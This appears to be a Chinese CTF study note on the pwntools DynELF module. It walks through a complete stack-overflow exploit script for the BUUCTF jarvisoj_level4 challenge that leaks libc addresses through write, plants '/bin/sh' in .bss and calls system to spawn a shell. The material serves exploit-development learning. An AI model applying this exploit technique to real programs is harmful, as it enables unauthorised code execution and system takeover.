参考:
https://blog.csdn.net/qq_40827990/article/details/86689760
https://blog.csdn.net/weixin_45770420/article/details/130493348
DynELF
DynELF
是pwntools中专门用来应对题目中没有libc情况的漏洞利用模块,提供一个可以泄漏任意内存的函数后,任何被动态加载的库的任何符号都可以被解析
DynELF就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址
使用模板
def leak(addr):
# 泄露 任意函数的地址
payload= “****” + p64(addr) + “****”
p.send(payload)
data = p.recv()
return data
# pointer 可选择
d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup('system', 'libc')
read_add = d.lookup('read','libc')
官网说明
# 假设现在有一个进程或者远程连接
p = process('./pwnme')
# 声明一个函数, 这个函数只接收一个参数, 作为要被泄漏的内存地址
# 并且至少泄漏这个地址的一个字节的数据
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
# 为了便于说明这个例子
# 假设我们有任意多的指针
# 一个指针指向二进制程序的某一个符号的指针
# 另两个指针指向 libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef
# 使用我们的泄漏器, 和一个指向二进制程序的某一个符号的指针
# 我们就能泄漏这个内存地址的任意数据
# 事实上为了解析符号, 我们都不需要对目标二进制进行拷贝
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# 然而, 如果我们拷贝了这个二进制程序
# 这一步的速度就会快一点
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# 我们也可以解析别的 lib 中的符号
# 然后返回这个符号的指针
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system
注意事项
leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据。且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据,payload中必然包含着打印函数,如write, puts, printf等;
write函数
是最理想的,write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响;
puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度
在信息泄露过程中,由于循环制造溢出,故可能会导致栈结构发生不可预料的变化,可以尝试调用目标二进制程序的_start函数
来重新开始程序以恢复栈.
例题:BUUCTF jarvisoj_level4
简单明显的栈溢出,ret2libc失败,LibSearch没找到对应的libc版本
需要将/bin/sh字符串写在bss段,作为system函数的参数以获取shell
大佬的WP:
from pwn import *
from time import sleep
import sys
context.binary = "./level4"
elf = context.binary
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
if sys.argv[1] == "l":
io = process("./level4")
else:
io = remote('node4.buuoj.cn',26657)
def leak(addr):
payload = flat(cyclic(0x88 + 4), elf.plt['write'], elf.sym['_start'], 1, addr, 4)
io.send(payload)
sleep(0.01)
leaked = io.recv(4)
info("leaked -> {}".format(leaked))
return leaked
d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')
success("system -> {:#x}".format(system_addr))
# pause()
# gdb.attach(io)
payload = flat(cyclic(0x88 + 4), elf.sym['read'], elf.sym['_start'], 0, elf.bss() + 0x500, 8)
io.send(payload)
sleep(0.01)
io.send("/bin/sh\0")
sleep(0.01)
payload = flat(cyclic(0x88 + 4), system_addr, 'aaaa', elf.bss() + 0x500)
io.send(payload)
io.interactive()
解析
leak函数:利用write函数打印addr地址的内容(即任意函数的地址),执行完write函数返回_start函数 程序入口,接收并返回打印的内容
def leak(addr):
payload = flat(cyclic(0x88 + 4), elf.plt['write'], elf.sym['_start'], 1, addr, 4)
io.send(payload)
sleep(0.01)
leaked = io.recv(4)
info("leaked -> {}".format(leaked))
return leaked
调用DynELF()函数,lookup获取system函数的地址
d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')
利用read函数向bss段中间某位置写入/bin/sh字符串
payload = flat(cyclic(0x88 + 4), elf.sym['read'], elf.sym['_start'], 0, elf.bss() + 0x500, 8)
最后调用system(“/bin/sh”)函数获取shell
payload = flat(cyclic(0x88 + 4), system_addr, 'aaaa', elf.bss() + 0x500)